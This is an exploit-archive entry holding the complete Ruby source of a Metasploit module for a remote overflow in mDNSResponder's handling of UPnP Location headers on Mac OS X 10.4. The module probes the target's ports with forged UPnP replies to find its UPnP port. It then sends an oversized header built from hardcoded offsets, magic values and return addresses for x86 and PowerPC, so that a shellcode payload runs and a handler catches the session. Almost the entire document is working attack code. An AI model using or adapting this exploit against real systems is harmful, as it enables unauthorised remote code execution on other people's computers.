Mac OS X mDNSResponder UPnP Location Overflow

2009-10-28T00:00:00
ID PACKETSTORM:82309
Type packetstorm
Reporter metasploit.com
Modified 2009-10-28T00:00:00

Description

                                        
                                            `require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
include Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mac OS X mDNSResponder UPnP Location Overflow',  
'Platform' => 'osx',  
'DefaultOptions' => {   
'SRVPORT' => 1900,  
'RPORT' => 0  
},  
'Targets' => [  
[ '10.4.8 x86', { # mDNSResponder-108.2  
'Arch' => ARCH_X86,  
  
# Offset to mDNSStorage structure  
'Offset' => 21000,  
'Magic' => 0x8fe510a0,  
'g_szRouterHostPortDesc' => 0x53dc0,  
}  
],  
[ '10.4.0 PPC', { # mDNSResponder-107  
'Arch' => ARCH_PPC,  
'Offset' => 21000,  
'Magic' => 0x8fe51f4c,  
'Ret' => 0x8fe41af8,  
}  
],  
],  
'DefaultTarget' => 1,  
  
'Payload' => {  
'BadChars' => "\x00\x3a\x2f",  
'StackAdjustment' => 0,  
'Space' => 468  
}  
))  
  
register_options([  
Opt::LHOST(),  
OptPort.new('SRVPORT',   
[true, "The UPNP server port to listen on", 1900])  
], self.class)  
  
@mutex = Mutex.new()  
@found_upnp_port = false  
@key_to_port = Hash.new()  
@upnp_port = 0  
@client_socket = nil  
end  
  
def check  
#  
# TODO: Listen on two service ports, one a single character  
# shorter than the other (i.e 1900 and 19000). If the copy was  
# truncated by strlcpy, it will connect to the service listening  
# on the shorter port number.  
#  
upnp_port = scan_for_upnp_port()  
if (upnp_port > 0)  
return Exploit::CheckCode::Detected  
else  
return Exploit::CheckCode::Unsupported  
end  
end  
  
def upnp_server(server)  
client = server.accept()  
request = client.readline()  
if (request =~ /GET \/([\da-f]+).xml/)  
@mutex.synchronize {   
@found_upnp_port = true  
@upnp_port = @key_to_port[$1]  
  
# Important: Keep the client connection open  
@client_socket = client  
}  
end  
end  
  
def scan_for_upnp_port  
@upnp_port = 0  
@found_upnp_port = false  
  
upnp_port = 0  
  
# XXX: Do this in a more Metasploit-y way  
server = TCPServer.open(1900)  
server_thread = Thread.new { self.upnp_server(server) }  
  
begin  
socket = Rex::Socket.create_udp  
  
upnp_location =   
"http://" + datastore['LHOST'] + ":" + datastore['SRVPORT']  
  
puts "[*] Listening for UPNP requests on: #{upnp_location}"  
puts "[*] Sending UPNP Discovery replies..."  
  
i = 49152;  
while i < 65536 && @mutex.synchronize { @found_upnp_port == false }  
key = sprintf("%.2x%.2x%.2x%.2x%.2x",  
rand(255), rand(255), rand(255), rand(255), rand(255))  
  
@mutex.synchronize {   
@key_to_port[key] = i  
}  
  
upnp_reply =  
"HTTP/1.1 200 Ok\r\n" +  
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +  
"USN: uuid:7076436f-6e65-1063-8074-0017311c11d4\r\n" +  
"Location: #{upnp_location}/#{key}.xml\r\n\r\n"  
  
socket.sendto(upnp_reply, datastore['RHOST'], i)  
  
i += 1  
end  
  
@mutex.synchronize {   
if (@found_upnp_port)  
upnp_port = @upnp_port  
end  
}  
ensure  
server.close  
server_thread.join  
end  
  
return upnp_port  
end  
  
def exploit  
#  
# It is very important that we scan for the upnp port. We must  
# receive the TCP connection and hold it open, otherwise the  
# code path that uses the overwritten function pointer most  
# likely won't be used. Holding this connection increases the  
# chance that the code path will be used dramatically.  
#  
upnp_port = scan_for_upnp_port()  
  
if upnp_port == 0  
raise "Could not find listening UPNP UDP socket"  
end  
  
datastore['RPORT'] = upnp_port  
  
socket = connect_udp()  
  
if (target['Arch'] == ARCH_X86)  
space = "A" * target['Offset']  
space[0, payload.encoded.length] = payload.encoded  
  
pattern = Rex::Text.pattern_create(47)  
pattern[20, 4] = [target['Magic']].pack('V')  
pattern[44, 3] = [target['g_szRouterHostPortDesc']].pack('V')[0..2]  
  
boom = space + pattern  
usn = ""  
  
elsif (target['Arch'] == ARCH_PPC)  
space = "A" * target['Offset']  
  
pattern = Rex::Text.pattern_create(48)  
pattern[20, 4] = [target['Magic']].pack('N')  
  
#  
# r26, r27, r30, r31 point to g_szUSN+556  
# Ret should be a branch to one of these registers  
# And we make sure to put our payload in the USN header  
#  
pattern[44, 4] = [target['Ret']].pack('N')  
  
boom = space + pattern  
  
#  
# Start payload at offset 556 within USN  
#  
usn = "A" * 556 + payload.encoded  
end  
  
upnp_reply =  
"HTTP/1.1 200 Ok\r\n" +  
"ST: urn:schemas-upnp-org:service:WANIPConnection:1\r\n" +  
"USN: #{usn}\r\n" +  
"Location: http://#{boom}\r\n\r\n"  
  
puts "[*] Sending evil UPNP response"  
socket.put(upnp_reply)  
  
puts "[*] Sleeping to give mDNSDaemonIdle() a chance to run"  
sleep(10)  
  
handler()  
disconnect_udp()  
end  
end  
  
`